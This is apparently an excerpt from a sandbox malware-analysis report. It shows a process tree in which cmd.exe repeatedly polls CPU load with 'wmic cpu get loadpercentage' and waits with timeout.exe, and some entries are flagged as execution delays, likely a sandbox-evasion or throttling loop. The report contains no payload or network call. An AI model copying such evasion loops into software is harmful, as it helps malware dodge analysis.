C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1756
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4480
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:464
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2252
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4012
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3628
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:472
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1288
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4308
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4164
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4712
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:96
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:272
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4472
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3140
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4012
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4808
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4136
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2416
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1672
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3172
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2796
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:464
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4664
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2280
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2192
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2172
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3692
-
-
